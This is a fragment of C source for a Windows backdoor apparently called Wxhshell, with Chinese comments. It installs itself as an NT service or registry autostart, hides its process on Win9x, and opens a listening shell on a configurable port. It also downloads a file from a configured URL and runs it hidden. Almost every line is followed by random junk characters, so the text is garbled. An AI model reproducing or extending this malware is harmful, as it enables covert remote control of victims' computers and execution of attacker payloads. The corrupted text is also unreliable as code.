ULONG InheritedFromUniqueProcessId; 2K6qY)/_
} PROCESS_BASIC_INFORMATION; 3{^9]7UC
<X^@*79m
PROCNTQSIP NtQueryInformationProcess; eIEeb,#i
q&-`,8#
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |`,2ri*5A
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |=ba9&q
ufZDF=$7
HANDLE hProcess; 7P5)Z-K[
PROCESS_BASIC_INFORMATION pbi; j'<<4.(
gHEu/8E
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x0D*U?A
if(NULL == hInst ) return 0; sPQQ"|wU
[{,T.;'<j
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Apag{Z]^B
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L>NL:68yN
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |A9F\A->4
x8\?}UnB
if (!NtQueryInformationProcess) return 0; y`5
9A
Jr!JHC9i
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D~iz+{Q4
if(!hProcess) return 0; -1_)LO&H
$q{!5-e
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _QE qk@ql
&|ex`nwc0
CloseHandle(hProcess); syj0.JD
l
-m fFN
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {n.PF8A5X
if(hProcess==NULL) return 0; El".I?E*
7\[@m3s
HMODULE hMod; M}-Rzc
char procName[255]; |?xN\O^#}
unsigned long cbNeeded; t%FwXaO#
G]tn i
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SrJGTuXg
-%CP@dAk
CloseHandle(hProcess); tBWrL{xLe
P [ck84F/
if(strstr(procName,"services")) return 1; // 以服务启动 *?>T,gx}
E \EsWb
return 0; // 注册表启动 u8g~
} TnA-;Ha
J#(LlCs?@c
// 主模块 D&
i94\vVa
int StartWxhshell(LPSTR lpCmdLine) }W8;=$jr
{ 9uO 2Mm
SOCKET wsl; IGQFtO/x
BOOL val=TRUE; )
7@ `ut
int port=0; +oML&g-g_
struct sockaddr_in door; gp?uHKsM
@)M9IOR
if(wscfg.ws_autoins) Install(); D|p9qe5%
9};8?mucr
port=atoi(lpCmdLine); _,0
$G+@_'
if(port<=0) port=wscfg.ws_port; vF+7V*<
X-Kh(Z
WSADATA data; uym*a4J
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "|
g>'wM*
9YyLf ;
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; At>DjKx]O
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U&OJXJdj
door.sin_family = AF_INET; T2W eE@o
door.sin_addr.s_addr = inet_addr("127.0.0.1"); g2ixx+`?|:
door.sin_port = htons(port); Y('#jU
hH3RP{'=
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h"Q8b}$^)
closesocket(wsl); b3[!V{|
return 1; !hy-L_wL]
} zxl@(hd
UnV.~ u~
if(listen(wsl,2) == INVALID_SOCKET) { ,PW'#U:
closesocket(wsl); <2x^slx)?
return 1; i$#;Kpb`^
} O+]ZyHnB
Wxhshell(wsl); R|, g<
WSACleanup(); KYI/
U_Ptqqt%
return 0; -f^tE,-
%OCb:s
} j2[+ztG
tw/dD +
// 以NT服务方式启动 /Iokf@5
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o#Dk&
cH
{ ()?(I?II
DWORD status = 0; `UaD6Mc<Mz
DWORD specificError = 0xfffffff; v{N`.~,^
u4?L 67x
serviceStatus.dwServiceType = SERVICE_WIN32; _ <V)-Y
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^
VyKd
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,R\ \ %
serviceStatus.dwWin32ExitCode = 0; 3(N$nsi
serviceStatus.dwServiceSpecificExitCode = 0; NwvC[4
serviceStatus.dwCheckPoint = 0; B dfwa
serviceStatus.dwWaitHint = 0; xm~`7~nFR
An0|[ uWH
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \?-<4Bc@
if (hServiceStatusHandle==0) return; !>o7a}?
J!(<y(l
status = GetLastError(); G>}255qY
if (status!=NO_ERROR) .2t4tb(SUw
{ L`TLgH&?R
serviceStatus.dwCurrentState = SERVICE_STOPPED; :eCwY
serviceStatus.dwCheckPoint = 0; &
J'idYD
serviceStatus.dwWaitHint = 0; 3;9^
serviceStatus.dwWin32ExitCode = status; Mfuv0P~
serviceStatus.dwServiceSpecificExitCode = specificError; 4F:\-O
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R) h#Vc(
return; 'JE`(xD
} Ic<2QknmP
Gb6 'n$g
serviceStatus.dwCurrentState = SERVICE_RUNNING; _N cR)2
serviceStatus.dwCheckPoint = 0; u&vf+6=9Dd
serviceStatus.dwWaitHint = 0; khxnlry
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +\]\[6
}
jB2[(
<'Eme
// 处理NT服务事件,比如:启动、停止 g:@#@1rB6
VOID WINAPI NTServiceHandler(DWORD fdwControl) _|2:_N=
{ h(dvZ=
%
switch(fdwControl) %wy.TN
{ h;"4+uw
case SERVICE_CONTROL_STOP: ?l{nk5,?-Y
serviceStatus.dwWin32ExitCode = 0; C{rcs'
serviceStatus.dwCurrentState = SERVICE_STOPPED; hi(;;C9
serviceStatus.dwCheckPoint = 0; 2F.;;Ab
serviceStatus.dwWaitHint = 0; ADzhNfS
{ 'IQ0{&EI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]%H`_8<gc
} q54]1TQ
return; tDcT%D {:
case SERVICE_CONTROL_PAUSE: "(O>=F&
serviceStatus.dwCurrentState = SERVICE_PAUSED; #trK^(
break; (?c"$|^J
case SERVICE_CONTROL_CONTINUE: Btn?N
serviceStatus.dwCurrentState = SERVICE_RUNNING; 7n<{tM
break; !Ai@$tl[S
case SERVICE_CONTROL_INTERROGATE: j,eo2HaL
break; Zu[su>\
}; _V6ukd"B~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); b8UO,fY q
} wn%A4-%{
Lk8ek}o'
// 标准应用程序主函数 [z{1*Xc
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g!|kp?
{ :5<UkN)R(
rb.N~
// 获取操作系统版本 $UWZDD
OsIsNt=GetOsVer(); 6bC3O4Rw
GetModuleFileName(NULL,ExeFile,MAX_PATH); x 9fip-
}my`K
// 从命令行安装 S,UDezxg
if(strpbrk(lpCmdLine,"iI")) Install();
v!5 `|\
a1lh-2xX
// 下载执行文件 T8$y[W-c
if(wscfg.ws_downexe) { kDxFloK
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u6JM]kR
WinExec(wscfg.ws_filenam,SW_HIDE); rEWb"
} Svmy(w~m
Y$_B1_
if(!OsIsNt) { |Rk@hzM2S
// 如果时win9x,隐藏进程并且设置为注册表启动 0GeTSFj
HideProc(); WOap+
StartWxhshell(lpCmdLine); TC*g|d @b
} #*Ctwl,T
else #"~<HG}bR/
if(StartFromService()) y<Ot)fa$
// 以服务方式启动 ~c `l@:
StartServiceCtrlDispatcher(DispatchTable); 57c8xk[.2
else q/,O\,
// 普通方式启动 X \/#@T
StartWxhshell(lpCmdLine); NBGH_6DROw
e\L8oOk#r
return 0; z
Iu'[U
}